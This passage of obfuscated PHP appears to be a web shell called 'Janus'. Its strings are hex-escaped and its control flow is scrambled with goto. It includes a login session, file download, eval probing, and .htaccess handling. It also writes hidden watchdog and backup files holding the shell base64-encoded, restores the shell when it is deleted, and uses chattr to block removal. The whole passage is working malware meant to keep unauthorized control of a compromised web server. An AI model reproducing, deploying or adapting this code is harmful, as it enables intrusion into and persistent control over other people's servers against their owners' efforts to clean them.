Ip0Hl; tUPWa: $jY45d++; goto wamAK; wru1I: US_3V: goto kx6f1; Ip0Hl: }, "\150\145\170" => function ($CnnQw) { return "\x68\145\170\x32\x62\151\156\x28\42" . bin2hex($CnnQw) . "\x22\x29"; }, "\142\141\x73\x65\66\64" => function ($CnnQw) { return "\x62\141\x73\145\66\x34\137\x64\145\x63\x6f\144\x65\x28\x22" . base64_encode($CnnQw) . "\x22\51"; }]; goto kYHZP; kYHZP: $LyaNr = array_rand($zzIgE); goto oat1B; WEjcP: } goto nAaIX; SjMBd: if (is_file($KLrez) && is_readable($KLrez)) { goto OKXVT; } goto tx817; Y0ORL: error_reporting(E_ALL); goto aUrjg; XMIbA: $VtInv = $sv0qE["\x61\143\x74\x69\157\156"]; goto BQ3tx; tN4Ke: if (!($_SERVER["\x52\x45\x51\125\105\x53\124\137\x4d\x45\x54\x48\117\104"] === "\120\117\123\x54")) { goto ASfNK; } goto G1ubf; sJvYj: exit; goto gat24; MKZxY: exit; goto ZCKYK; tvKy0: ywOyc: goto JWnTN; i1a8p: header("\x43\157\156\x74\x65\156\x74\x2d\x54\x79\x70\145\x3a\x20\x74\145\170\164\x2f\160\x6c\x61\x69\156\73\x20\x63\150\x61\x72\x73\x65\x74\x3d\x75\164\146\55\70"); goto u64K3; lE63w: $jJ93R = dirname($zJsLG) . DIRECTORY_SEPARATOR . "\x2e\150\164\141\x63\143\x65\x73\163"; goto eVoXz; zQzfB: function lIX3f($zME47) { goto fIDFD; CKr0U: return !in_array($zME47, $DqyA2); goto ko2Q1; nWoLS: if (!($va_Te !== null)) { goto o3kYA; } goto p_kE5; RBZp3: LVWyE: goto CKr0U; p_kE5: restore_error_handler(); goto lObFb; E2mhS: $olRGv = false; goto pZZZm; pZZZm: try { $YX5QN = @eval("\162\x65\164\165\162\156\x20\164\x72\x75\145\x3b"); $olRGv = $YX5QN !== false; } catch (Throwable $smUM0) { $olRGv = false; } catch (Exception $smUM0) { $olRGv = false; } goto nWoLS; w3W9j: $ajFWl = ini_get("\144\x69\x73\160\154\x61\x79\137\145\162\x72\x6f\162\x73"); goto YeRxZ; YeRxZ: ini_set("\x64\x69\x73\x70\x6c\141\171\x5f\145\162\162\x6f\x72\x73", 0); goto PW_km; bQJfv: error_reporting($kxMRq); goto uf6u4; ZaKSY: if (!($zME47 === "\x65\x76\141\x6c")) { goto LVWyE; } goto uZACc; uf6u4: ini_set("\x64\151\x73\x70\x6c\x61\171\137\145\x72\x72\157\162\163", $ajFWl); goto zxG_H; lObFb: o3kYA: goto bQJfv; fIDFD: global $DqyA2; goto ZaKSY; uZACc: $kxMRq = error_reporting(0); goto w3W9j; zxG_H: return $olRGv; goto RBZp3; PW_km: $va_Te = set_error_handler(function () { return true; }, E_ALL); goto E2mhS; ko2Q1: } goto g1ntD; dPCRl: header("\103\x6f\x6e\x74\145\156\x74\x2d\104\x65\163\x63\x72\151\x70\x74\151\157\x6e\72\40\106\151\x6c\145\40\x54\162\141\x6e\163\146\145\x72"); goto Xvcad; w5UuY: session_start(); goto FBVkD; aI1tU: echo __FILE__; goto ZOYnz; R_mq2: header("\103\x6f\x6e\x74\x65\156\x74\x2d\104\x69\x73\160\x6f\x73\151\164\x69\x6f\x6e\72\x20\x61\x74\164\141\x63\150\155\x65\156\x74\73\x20\146\x69\x6c\145\x6e\x61\x6d\145\x3d\42" . basename($Q0s1i) . "\42"); goto LS4iM; d6MLE: $_SESSION["\x6a\141\156\x75\163\137\x61\x75\x74\150\145\156\x74\x69\143\x61\164\x65\144"] = true; goto DLAoq; tP2j0: $Q0s1i = $_GET["\x64\157\x77\156\154\x6f\141\144"]; goto uhRVq; PXxpd: exit; goto LUJ5x; CO2pQ: echo __FILE__; goto k2uXR; QpAaL: function A3X6D($qY16M, $etpkF, $Yxoh6) { goto ASe0E; KTfUO: unset($kmHPp); goto ZoXXA; dswNI: zn2ER: goto kZBC9; jX9m3: return true; goto viM1Y; ZoXXA: usleep(300000); goto rNvbM; YWKfM: if (!($iAcp7 && preg_match("\x2f\x62\141\163\145\66\64\x5f\x64\x65\143\x6f\x64\145\134\50\x27\50\133\x5e\x27\x5d\x2b\x29\x27\x5c\51\57", $iAcp7, $I5WkF))) { goto DDj0v; } goto XMH9a; lBl0H: $iAcp7 = @file_get_contents($etpkF); goto YWKfM; fVKFL: J3mK1: goto O_1YB; rXE4q: @(include_once $Yxoh6); goto iXJim; iXJim: usleep(300000); goto RPwqO; hW2yD: return false; goto rt1FV; hcjTm: @(include_once $etpkF); goto KTfUO; J3Dob: DDj0v: goto dswNI; YJ18S: @chmod($qY16M, 0644); goto gw4T0; XMH9a: $cO3xb = @base64_decode($I5WkF[1]); goto I11S7; viM1Y: P1McX: goto ZDqSr; QSPG1: SoxkV: goto J3Dob; ASe0E: if (!file_exists($qY16M)) { goto P1McX; } goto jX9m3; RGktc: NHMS7: goto fVKFL; kfKZx: $kmHPp = true; goto hcjTm; gw4T0: return true; goto QSPG1; ia2bq: return true; goto TOpEo; I11S7: if (!($cO3xb && @file_put_contents($qY16M, $cO3xb))) { goto SoxkV; } goto YJ18S; QPgRW: RBwDn: goto hW2yD; ZDqSr: if (!file_exists($etpkF)) { goto zn2ER; } goto lBl0H; O_1YB: if (!file_exists($Yxoh6)) { goto RBwDn; } goto rXE4q; rNvbM: if (!file_exists($qY16M)) { goto NHMS7; } goto GggUg; RPwqO: if (!file_exists($qY16M)) { goto xZVO9; } goto ia2bq; TOpEo: xZVO9: goto QPgRW; GggUg: return true; goto RGktc; kZBC9: if (!file_exists($etpkF)) { goto J3mK1; } goto kfKZx; rt1FV: } goto LIRkT; fBS2k: function lceo0($Q0s1i) { return substr(sprintf("\45\x6f", fileperms($Q0s1i)), -4); } goto EJ3iq; Xs3PZ: if (!empty($_SESSION["\143\167\144"])) { goto ywOyc; } goto NC6ql; uwI21: XBHMN: goto UsKhM; j1yik: SDVmw: goto PTVFj; wwxco: GZQX6: goto D6lxJ; P_nPu: $Yxoh6 = dirname($zJsLG) . DIRECTORY_SEPARATOR . "\x2e\152\x61\156\x75\163\137\142\x61\143\x6b\165\160\137" . substr(md5($zJsLG), 0, 12) . "\56\160\x68\x70"; goto QpAaL; D6lxJ: S6XqA: goto TEtnR; xLdqa: if (!file_exists($fzeLt)) { goto bThLh; } goto hEZ4X; eFZn3: kobqQ: goto dxABb; wCGPY: function TD36N($qY16M) { goto JNjEx; mQjyg: $CwVuG .= "\40\40\x20\40\x24\x6a\x61\x6e\x75\163\x5f\167\141\164\143\150\x64\157\147\137\x66\x69\154\145\x5f\x63\150\x65\143\153\40\75\x20\137\137\104\x49\x52\x5f\x5f\x20\56\x20\104\111\x52\105\x43\x54\x4f\122\x59\137\x53\x45\120\101\x52\101\x54\x4f\122\x20\56\40\x27" . addslashes(basename($etpkF)) . "\x27\x3b\12"; goto ZwkEI; LTrwX: $iAcp7 .= "\40\40\40\40\40\x20\40\x20\x7d\xa"; goto nIQNO; kXocN: $iAcp7 .= "\x2f\x2f\40\112\x61\156\x75\163\x20\x57\x61\x74\x63\150\x64\x6f\x67\x20\x2d\x20\101\165\164\x6f\x20\122\145\x73\164\157\x72\x65\40\123\x79\163\164\145\x6d\40\50\x53\x54\x41\x4e\104\x41\114\x4f\116\x45\51\12"; goto eHSc0; M9kZV: eUge4: goto SqRrg; cqP2M: $iAcp7 .= "\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\151\146\40\50\x69\x73\137\x65\170\x65\x63\x75\x74\141\142\154\145\x28\47\x2f\x75\163\x72\57\142\x69\x6e\x2f\x63\x68\141\x74\164\x72\47\x29\x29\40\x7b\12"; goto uKNbI; swWK8: $kDxDn .= "\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\44\x72\x65\x71\165\145\x73\x74\137\x75\x72\151\x20\x3d\x20\162\x74\162\x69\x6d\x28\44\x72\x65\x71\165\145\x73\x74\x5f\x75\162\x69\x2c\40\x27\x2f\x27\51\x20\56\x20\x27\57\x27\x20\x2e\40\47" . addslashes($nZiB9) . "\x27\x3b\xa"; goto zgu1p; loRui: $iAcp7 .= "\40\40\x20\40\x2f\x2f\40\x4d\x65\x74\x68\x6f\144\x20\x33\72\x20\x43\x61\x72\151\x20\142\x61\x63\153\x75\160\40\144\151\x20\160\141\x72\145\x6e\x74\x20\144\x69\162\145\x63\164\157\x72\x79\xa"; goto HApoL; TlPCF: $kDxDn .= "\x20\x20\x20\x20\57\x2f\x20\115\x65\164\x68\157\x64\x20\63\x3a\x20\111\x6e\x63\x6c\x75\144\x65\40\142\x61\x63\153\x75\160\40\x66\x69\x6c\x65\12"; goto OAUF_; ET_34: $CwVuG .= "\x20\40\40\40\x20\40\40\40\x24\x6a\x61\156\165\x73\137\x6e\157\137\x72\145\x64\x69\x72\x65\143\164\x20\x3d\x20\x74\x72\x75\145\73\40\57\57\x20\106\x6c\x61\147\40\165\156\x74\165\153\x20\160\x72\x65\166\145\156\x74\x20\x72\145\x64\151\162\145\x63\164\40\163\141\141\164\40\x69\156\x63\154\165\x64\145\12"; goto nhEV3; tx9A5: $kDxDn .= "\xa"; goto Jg2o2; vObW6: $iAcp7 .= "\40\40\40\40\x20\40\40\40\x20\x20\40\40\57\57\40\123\x65\164\x20\146\x69\x6c\x65\40\141\x74\164\162\x69\142\x75\x74\x65\163\x20\165\x6e\x74\165\153\40\x70\x72\145\x76\x65\156\164\40\x64\x65\x6c\145\x74\145\x20\x28\x6a\x69\x6b\141\x20\x73\x75\x70\160\x6f\162\164\x65\144\51\12"; goto teFf4; nQxya: @file_put_contents($qY16M, $QQjf9); goto PSDbM; O3mrL: $iAcp7 .= "\44\155\141\151\156\137\x73\x68\145\x6c\x6c\x20\75\40\137\137\104\111\x52\x5f\x5f\40\x2e\40\x44\111\x52\105\x43\x54\117\122\x59\x5f\x53\105\120\101\x52\x41\124\x4f\x52\40\x2e\40\x27" . addslashes($nZiB9) . "\x27\x3b\xa"; goto eaUtA; CW7wD: $kDxDn .= "\175\12"; goto y4btD; w1ayN: $iAcp7 .= "\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\44\162\145\x71\x75\x65\x73\164\x5f\165\162\x69\40\x3d\40\144\x69\162\x6e\x61\155\x65\50\44\162\x65\x71\165\x65\x73\x74\137\x75\162\151\x29\40\x2e\40\47\57\47\x20\x2e\40\x27" . addslashes($nZiB9) . "\x27\73\12"; goto uUQyy; w6VN3: $qtLdM .= "\x69\x66\x20\x28\x21\x66\x69\154\145\x5f\145\x78\x69\x73\x74\163\x28\44\164\x61\162\x67\x65\x74\x5f\146\x69\x6c\x65\x29\x29\40\x7b\xa"; goto VO0tO; YLnxB: $CwVuG .= "\175\51\x3b\xa"; goto WZVj4; pQu2K: $CwVuG .= "\x20\40\x20\40\40\x20\40\x20\57\x2f\x20\111\x6e\x63\154\165\144\145\x20\x77\141\x74\x63\150\144\157\x67\40\x75\156\164\x75\x6b\40\162\x65\163\x74\157\162\x65\54\40\x74\x61\x70\x69\40\160\x72\145\x76\x65\156\x74\x20\x72\x65\x64\151\162\145\143\164\x20\x64\145\x6e\x67\141\x6e\40\146\154\x61\x67\12"; goto ET_34; N360a: $qtLdM .= "\44\164\x61\x72\x67\145\x74\x5f\x66\x69\x6c\x65\x20\75\40\137\137\104\111\x52\x5f\x5f\x20\x2e\40\104\x49\x52\x45\103\124\117\x52\131\x5f\x53\x45\120\x41\x52\101\x54\x4f\122\x20\56\40\47" . addslashes($nZiB9) . "\x27\x3b\12"; goto b8Yhy; q0wMs: $kDxDn .= "\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x69\146\x20\50\x69\x73\163\x65\x74\x28\44\x5f\x53\x45\122\x56\x45\x52\x5b\x27\x51\125\x45\122\x59\137\x53\x54\122\x49\116\107\47\135\x29\x20\x26\x26\40\x21\145\x6d\x70\164\x79\50\x24\137\123\x45\x52\126\x45\x52\133\47\x51\x55\105\122\x59\x5f\x53\124\x52\x49\116\x47\47\135\x29\x29\x20\x7b\12"; goto jog5g; r80AR: $olDPG = @file_get_contents($qY16M); goto PYHZe; brYfx: $CwVuG .= "\40\x20\x20\40\x7d\12"; goto YLnxB; Oft33: $kDxDn .= "\x2f\x2f\40\112\141\x6e\165\163\40\105\156\x74\x72\171\x20\x50\157\151\156\164\40\55\40\101\x75\x74\157\x20\122\x65\163\x74\157\162\x65\40\123\171\x73\x74\x65\x6d\xa"; goto qVzco; bsrGN: $CwVuG .= "\x20\40\40\x20\x7d\12"; goto Yjtj9; na0W3: L_Zc5: goto EB94f; x8xYY: $iAcp7 .= "\x20\40\x20\40\57\x2f\x20\110\x61\156\171\141\40\162\145\x64\x69\162\145\143\x74\40\x6a\x69\x6b\141\x20\x66\x69\x6c\145\40\x69\156\x69\x20\144\151\x61\x6b\163\145\163\x20\154\x61\x6e\147\163\x75\156\x67\x2c\x20\x62\165\x6b\x61\156\40\x76\151\x61\40\x69\x6e\x63\x6c\165\x64\145\12"; goto c03UG; Vm2Af: $iAcp7 .= "\40\x20\x20\40\151\146\40\x28\41\44\x72\145\163\x74\x6f\162\x65\144\x20\46\x26\x20\146\x69\154\x65\x5f\x65\x78\x69\163\164\x73\50\x24\x62\141\143\x6b\x75\x70\137\146\151\x6c\x65\51\x29\40\173\xa"; goto Ymlbi; P8hm3: $CwVuG .= "\x20\x20\x20\40\151\x66\x20\x28\x66\151\x6c\145\137\145\x78\151\163\x74\x73\x28\x24\152\x61\156\x75\x73\x5f\167\x61\164\143\x68\144\x6f\x67\137\146\x69\x6c\x65\51\x29\40\173\12"; goto d0MW1; DD20I: $iAcp7 .= "\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x7d\12"; goto uUoxQ; vepzk: $kDxDn .= "\40\40\40\40\x20\40\40\x20\x20\40\40\40\x68\x65\x61\x64\145\x72\x28\x27\x4c\x6f\143\x61\164\151\x6f\x6e\x3a\40\47\40\56\40\44\x72\x65\x64\x69\162\145\x63\x74\137\165\x72\x6c\54\40\164\x72\x75\x65\54\40\63\x30\x32\x29\73\xa"; goto qUctw; iBnsm: $kDxDn .= "\151\x66\x20\50\x70\150\160\x5f\163\141\160\151\x5f\x6e\x61\x6d\x65\50\x29\40\41\75\x3d\40\47\143\154\151\47\x20\x26\x26\40\151\163\163\145\164\x28\44\x5f\x53\105\x52\x56\x45\x52\133\x27\122\x45\121\125\105\123\124\x5f\x4d\x45\x54\x48\117\x44\47\x5d\x29\x20\x26\x26\40\x62\x61\163\145\x6e\141\x6d\x65\50\x24\x5f\123\x45\x52\126\x45\x52\x5b\47\123\103\122\111\120\x54\137\116\x41\115\x45\47\x5d\51\40\x3d\75\75\40\x27\x69\156\x64\x65\170\56\160\x68\x70\x27\x29\x20\x7b\12"; goto gFHYQ; G_3HQ: $CwVuG .= "\x20\x20\x20\x20\x7d\xa"; goto im6BN; Vm4bE: $kDxDn .= "\x20\40\x20\40\x20\x20\40\40\175\xa"; goto tTxj9; yeZqq: $CwVuG .= "\57\57\40\x45\156\x73\x75\x72\x65\40\142\141\143\x6b\x75\160\x20\x65\x78\151\163\164\x73\x20\144\x61\x6e\x20\x76\141\154\151\x64\12"; goto ObKKY; w8sM5: $iAcp7 .= "\44\x73\150\x65\154\x6c\x5f\x64\x61\x74\x61\x20\x3d\x20\x62\141\x73\145\66\x34\x5f\144\x65\x63\157\x64\x65\x28\47" . base64_encode($olDPG) . "\47\x29\73\xa"; goto e0Iuf; KecN8: $kDxDn .= "\x20\40\40\40\40\40\x20\x20\40\40\40\40\175\12"; goto vepzk; XCNVA: $kDxDn .= "\x20\40\x20\x20\40\40\40\x20\x2f\57\40\x50\162\x65\166\x65\x6e\x74\x20\162\x65\x64\x69\x72\145\143\164\x20\x6c\157\157\160\x20\55\40\x63\x68\x65\143\x6b\40\152\151\153\141\40\163\165\x64\141\150\40\144\x69\40\x73\150\145\154\x6c\40\165\x74\x61\x6d\x61\xa"; goto RLCPK; SoIS2: $iAcp7 .= "\40\40\40\40\x20\x20\x20\40\57\57\x20\x52\x65\155\x6f\x76\145\40\167\141\x74\143\x68\x64\157\147\40\x66\x69\154\x65\x6e\141\x6d\x65\40\x64\x61\162\x69\40\125\122\111\xa"; goto Elpjs; vcB17: $iAcp7 .= "\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\175\12"; goto MUFKr; lNGjn: $kDxDn .= "\57\x2f\x20\112\151\x6b\x61\x20\x6d\141\163\x69\x68\x20\x74\151\x64\141\x6b\x20\x61\144\x61\40\x73\145\x74\145\154\x61\150\x20\x73\145\155\x75\141\40\155\145\164\150\157\144\x2c\x20\x73\x68\x6f\167\40\x65\x72\162\157\162\12"; goto aU_Xk; lc8SP: $CwVuG .= "\x7d\xa"; goto pfvvb; zgu1p: $kDxDn .= "\40\40\x20\x20\x20\40\40\x20\x7d\40\x65\x6c\163\145\40\173\xa"; goto tnXGP; YPZ3h: $kDxDn .= "\x24\142\141\x63\x6b\165\x70\137\146\151\154\x65\40\75\40\137\137\x44\111\x52\x5f\137\40\56\x20\x44\x49\122\x45\x43\124\117\122\131\137\123\105\120\101\122\x41\124\x4f\x52\40\56\x20\47" . addslashes($erYaC) . "\47\73\12"; goto Af26e; JhVGv: $kDxDn .= "\40\x20\x20\40\x65\170\x69\164\73\12"; goto e6Jpl; atzEe: $kDxDn .= "\x20\x20\40\x20\12"; goto Lfn7X; eHSc0: $iAcp7 .= "\57\57\40\x46\151\154\145\x20\x69\156\151\40\x53\124\x41\116\x44\101\x4c\x4f\x4e\105\x20\55\x20\144\x61\x70\x61\164\40\144\151\141\153\163\145\x73\x20\x6c\141\x6e\x67\163\165\156\x67\x20\166\x69\x61\x20\x48\124\124\x50\40\165\156\164\165\x6b\40\162\145\x73\x74\157\x72\145\12"; goto MEAUU; vrids: $iAcp7 .= "\40\x20\40\x20\40\x20\40\x20\175\xa"; goto OLg0o; GEh5N: $iAcp7 .= "\40\40\x20\x20\x20\40\x20\40\x24\167\162\151\164\145\x5f\x72\145\163\x75\154\x74\40\x3d\x20\100\146\x69\154\x65\x5f\160\x75\x74\137\143\157\156\x74\x65\x6e\164\x73\x28\44\x6d\141\x69\156\x5f\163\150\145\154\x6c\54\40\x24\x73\x68\x65\x6c\x6c\137\144\141\x74\141\51\x3b\12"; goto hwoXC; XeYb5: $iAcp7 .= "\40\x20\40\40\x20\40\40\x20\145\x78\x69\x74\73\12"; goto JblDh; x6Ntr: if (@file_put_contents($etpkF, $iAcp7)) { goto eUge4; } goto wZWFz; vud50: $kDxDn .= "\40\x20\x20\40\x20\40\x20\40\40\40\40\40\x7d\xa"; goto Pv8o4; im6BN: $CwVuG .= "\40\40\x20\40\57\x2f\40\112\x69\x6b\x61\x20\x6d\141\x73\x69\x68\40\x74\151\x64\x61\x6b\x20\141\144\x61\54\40\x63\157\x62\141\x20\142\x61\143\x6b\x75\160\x20\146\x69\154\x65\xa"; goto GeeYw; qVzco: $kDxDn .= "\x2f\57\40\106\x69\x6c\145\40\x69\x6e\x69\x20\141\x6b\x61\x6e\40\163\145\154\x61\154\165\40\143\150\x65\x63\x6b\40\x64\141\x6e\x20\162\x65\x73\x74\x6f\x72\145\40\x73\150\x65\x6c\154\x20\x6a\x69\x6b\141\x20\144\151\150\x61\160\x75\163\xa"; goto TWHqJ; i0JsC: $iAcp7 .= "\40\40\x20\40\x20\40\x20\40\57\x2f\x20\x50\x61\163\x74\151\x6b\x61\x6e\x20\x55\x52\x49\x20\x6d\145\x6e\147\x61\162\141\150\x20\x6b\145\x20\x73\x68\x65\x6c\x6c\x20\146\x69\154\145\156\141\x6d\145\12"; goto FjKg3; QORMq: $CwVuG .= "\x20\40\x20\x20\x2f\57\40\x54\x72\151\147\147\145\162\40\167\141\164\x63\x68\144\x6f\147\x20\x75\156\x74\165\x6b\40\162\x65\x73\164\x6f\x72\145\12"; goto P8hm3; rdVd9: $CwVuG .= "\x24\x6a\x61\x6e\165\163\137\x77\x61\164\x63\x68\144\x6f\147\137\x66\x69\154\x65\40\x3d\40\x5f\137\x44\x49\x52\x5f\x5f\x20\56\x20\104\x49\x52\x45\103\124\x4f\122\131\x5f\123\x45\120\x41\122\101\124\x4f\122\40\56\x20\x27" . addslashes(basename($etpkF)) . "\47\x3b\xa"; goto MORes; kiSRS: $CwVuG .= "\40\x20\x20\x20\151\146\40\50\146\151\x6c\x65\137\x65\x78\151\x73\x74\163\x28\44\x6a\x61\156\x75\x73\x5f\x77\x61\x74\x63\150\144\157\147\x5f\x66\151\x6c\145\51\x29\x20\173\12"; goto pQu2K; Osa1W: $CwVuG .= "\40\40\x20\x20\57\x2f\x20\123\150\x65\154\x6c\40\164\151\144\x61\153\40\141\144\141\x20\x2d\40\x74\x72\151\147\x67\x65\162\x20\162\x65\x73\164\157\x72\x65\x20\151\155\x6d\145\144\151\141\x74\145\x6c\171\40\50\x73\151\x6c\x65\x6e\164\x2c\x20\x6e\x6f\x20\162\145\x64\151\x72\x65\x63\x74\51\xa"; goto kiSRS; j2GPj: $iAcp7 .= "\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\145\170\x69\164\73\12"; goto pDHWL; MGqhx: $iAcp7 .= "\40\40\x20\40\x20\x20\40\x20\x24\x72\145\x71\x75\145\x73\x74\x5f\165\x72\151\40\75\x20\x70\162\145\x67\137\x72\145\x70\x6c\x61\143\x65\x28\47\x23\57\151\156\x64\145\170\134\x2e\160\150\160\50\57\x7c\x24\x29\x23\47\x2c\40\x27\57\x27\x2c\40\x24\x72\x65\x71\x75\145\163\164\x5f\x75\162\151\51\73\12"; goto EuNVd; eaUtA: $iAcp7 .= "\x24\x62\x61\143\153\165\x70\x5f\146\151\x6c\x65\40\75\x20\137\x5f\x44\x49\122\137\137\40\56\x20\x44\111\122\x45\x43\x54\117\122\x59\x5f\x53\105\x50\x41\x52\101\x54\x4f\x52\40\56\x20\x27" . addslashes($erYaC) . "\x27\73\xa"; goto w8sM5; e9gVv: $iAcp7 .= "\40\40\40\x20\40\x20\x20\40\x24\x72\x65\x71\165\x65\x73\x74\x5f\165\162\151\x20\75\x20\151\163\163\x65\x74\x28\x24\137\x53\x45\122\126\x45\122\x5b\x27\x52\105\121\125\105\x53\124\137\125\x52\x49\47\x5d\x29\x20\x3f\x20\44\x5f\x53\105\122\x56\105\x52\x5b\47\x52\x45\x51\x55\x45\123\124\x5f\125\x52\111\x27\135\40\72\40\x27\57\47\x20\x2e\x20\47" . addslashes($nZiB9) . "\47\x3b\xa"; goto SoIS2; RLTyZ: $kDxDn .= "\x7d\xa"; goto c86f4; GSk_z: $kDxDn .= "\40\40\x20\x20\xa"; goto TlPCF; thBf3: $iAcp7 .= "\x20\x20\40\x20\x69\x66\x20\x28\41\145\x6d\160\164\x79\50\44\x73\x68\x65\x6c\x6c\137\x64\141\x74\141\x29\x29\x20\x7b\xa"; goto GEh5N; tnXGP: $kDxDn .= "\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x2f\57\40\122\x65\160\x6c\x61\x63\145\x20\142\x61\x67\x69\141\x6e\x20\164\145\162\x61\153\150\151\x72\40\144\x65\x6e\147\141\x6e\x20\x73\x68\145\154\154\x20\x66\x69\x6c\145\x6e\x61\155\x65\xa"; goto yGMja; TWHqJ: $kDxDn .= "\44\155\x61\151\x6e\137\163\x68\145\x6c\154\x20\x3d\40\137\137\x44\x49\x52\137\x5f\x20\56\x20\104\x49\x52\105\103\124\x4f\x52\x59\137\x53\105\120\101\122\101\124\x4f\122\x20\x2e\40\x27" . addslashes($nZiB9) . "\x27\73\12"; goto gNsxt; kFOe8: $CwVuG .= "\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\100\151\x6e\x63\x6c\x75\144\x65\137\157\156\x63\x65\50\44\x6a\141\156\165\x73\137\x62\141\x63\153\165\x70\137\x66\151\154\145\137\143\x68\x65\x63\153\51\x3b\12"; goto NOy7Z; E7qXo: $CwVuG .= "\x20\x20\x20\40\100\143\150\x6d\x6f\x64\x28\x24\x6a\141\x6e\x75\x73\137\x62\x61\143\153\165\x70\137\x66\x69\x6c\145\x2c\40\x30\66\x30\x30\51\x3b\xa"; goto lc8SP; ZUhjz: $iAcp7 = "\x3c\77\x70\x68\x70\12"; goto kXocN; KKprK: $kDxDn .= "\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x24\x72\x65\144\x69\x72\145\x63\x74\137\x75\162\154\40\75\x20\x24\142\x61\x73\x65\x5f\165\x72\154\40\56\x20\x24\x72\145\x71\165\145\x73\164\137\165\162\151\x3b\12"; goto q0wMs; VsUIb: $qtLdM .= "\x2f\x2f\40\101\165\164\157\55\162\145\x73\x74\157\x72\x65\40\x6a\151\153\x61\x20\163\x68\145\154\x6c\x20\165\164\141\155\x61\40\144\151\150\141\160\x75\x73\xa"; goto w6VN3; d0MW1: $CwVuG .= "\x20\x20\40\x20\40\40\40\x20\100\151\156\x63\154\x75\x64\145\137\x6f\x6e\143\x65\x28\44\152\x61\156\165\x73\137\167\141\x74\143\x68\144\157\147\x5f\x66\x69\x6c\x65\51\x3b\12"; goto bsrGN; msOaH: $CwVuG .= "\x7d\12"; goto iVub0; e0Iuf: $iAcp7 .= "\x24\x72\145\163\x74\x6f\x72\x65\x64\40\75\40\146\141\154\163\x65\x3b\xa"; goto okg22; k1mzl: $kDxDn .= "\x20\40\x20\x20\150\x65\x61\x64\145\162\x28\47\103\x6f\x6e\x74\x65\x6e\164\x2d\x54\171\160\x65\72\x20\164\x65\170\164\x2f\x70\x6c\x61\151\x6e\x27\x29\73\xa"; goto HsVHf; tq10C: $CwVuG .= "\x20\40\40\40\x24\152\x61\x6e\x75\x73\x5f\x6d\141\x69\156\137\163\150\x65\154\154\137\x63\150\145\x63\x6b\x20\75\x20\x5f\x5f\106\111\114\x45\x5f\x5f\73\xa"; goto mQjyg; zwmQl: $iAcp7 .= "\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\100\151\156\x63\x6c\x75\144\x65\x5f\157\156\x63\x65\50\44\x70\x61\x72\x65\156\164\137\x62\x61\x63\x6b\165\x70\51\73\12"; goto OQDup; LFGnS: $CwVuG .= "\57\x2f\x20\x52\x65\x67\x69\x73\x74\x65\x72\x20\163\150\x75\164\x64\x6f\x77\156\40\146\x75\156\x63\x74\x69\x6f\x6e\40\x75\156\164\x75\x6b\40\x63\150\145\143\153\x20\144\151\x20\x61\x6b\x68\151\x72\40\162\x65\161\x75\145\163\x74\xa"; goto Lmx2R; Pi5kH: $CwVuG .= "\40\x20\x20\40\40\x20\40\x20\57\57\x20\120\x72\x65\166\x65\x6e\164\x20\162\x65\144\x69\x72\145\x63\164\40\163\141\x61\x74\40\151\x6e\x63\154\165\x64\x65\12"; goto jUvH3; YnTxc: $qtLdM .= "\40\40\40\x20\x69\146\40\50\x66\x75\156\143\x74\151\x6f\156\x5f\145\x78\x69\163\164\163\50\47\163\x65\x74\165\160\x5f\141\156\x74\x69\137\144\x65\154\x65\x74\145\x27\51\x29\x20\x7b\xa"; goto bx3Ir; MHfFp: $kDxDn .= "\x20\40\40\x20\175\xa"; goto GSk_z; ha4kD: $kDxDn .= "\x20\40\x20\40\x20\x20\40\x20\44\x6a\x61\x6e\x75\163\x5f\x6e\157\x5f\x72\x65\x64\x69\162\145\x63\164\x20\75\40\x74\162\165\x65\73\40\57\57\x20\120\x72\145\x76\x65\156\164\40\162\x65\x64\151\x72\x65\x63\164\x20\163\141\141\164\x20\151\156\143\x6c\x75\144\145\12"; goto B9P3V; b8Yhy: $qtLdM .= "\12"; goto VsUIb; SGFaa: e3qVA: goto ZUhjz; c03UG: $iAcp7 .= "\40\x20\40\40\151\x66\40\50\x66\151\x6c\x65\x5f\145\x78\x69\163\x74\x73\50\x24\155\141\151\156\x5f\163\150\145\154\154\x29\51\40\x7b\xa"; goto XMsel; ttlLJ: $iAcp7 .= "\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x69\x66\x20\x28\x69\163\x73\145\x74\x28\x24\137\x53\x45\122\x56\105\x52\133\x27\x51\x55\x45\x52\x59\x5f\123\124\122\111\116\107\x27\x5d\x29\x20\x26\46\x20\x21\x65\x6d\x70\164\171\50\44\137\x53\105\x52\126\x45\122\133\x27\121\125\105\122\131\137\x53\124\x52\111\x4e\107\47\x5d\51\51\40\x7b\12"; goto jdsrh; KxuBh: qdx4_: goto mt9It; IJ3XK: $CwVuG .= "\x20\x20\40\40\40\x20\40\x20\165\x73\154\x65\145\x70\x28\x32\x30\x30\60\x30\x30\x29\73\x20\57\57\x20\127\x61\151\x74\x20\x32\60\60\x6d\x73\12"; goto vkU7p; O8dlH: $qtLdM .= "\175\xa"; goto Uzqc9; ujahj: $iAcp7 .= "\x69\146\x20\x28\x21\x66\151\x6c\145\137\x65\170\151\163\164\x73\x28\x24\x6d\141\151\x6e\137\163\150\x65\154\x6c\51\51\x20\173\12"; goto m2hQM; gFHYQ: $kDxDn .= "\x20\x20\40\40\151\x66\40\50\146\x69\x6c\145\x5f\x65\170\151\163\164\x73\50\44\x6d\x61\x69\156\137\163\150\145\154\154\x29\x29\40\x7b\12"; goto jhBvS; A2h60: $iAcp7 .= "\x20\x20\40\x20\40\40\40\40\x68\145\141\144\x65\x72\50\47\103\157\156\x74\x65\x6e\x74\55\124\171\x70\x65\72\x20\164\145\170\x74\x2f\x70\154\141\151\156\x27\x29\x3b\12"; goto yMD6J; F2emy: $etpkF = $ggdpe . DIRECTORY_SEPARATOR . "\56\152\x61\x6e\x75\163\137\x77\x61\164\143\x68\144\x6f\147\x5f" . substr(md5($qY16M), 0, 8) . "\x2e\160\x68\160"; goto r80AR; u9iu0: if 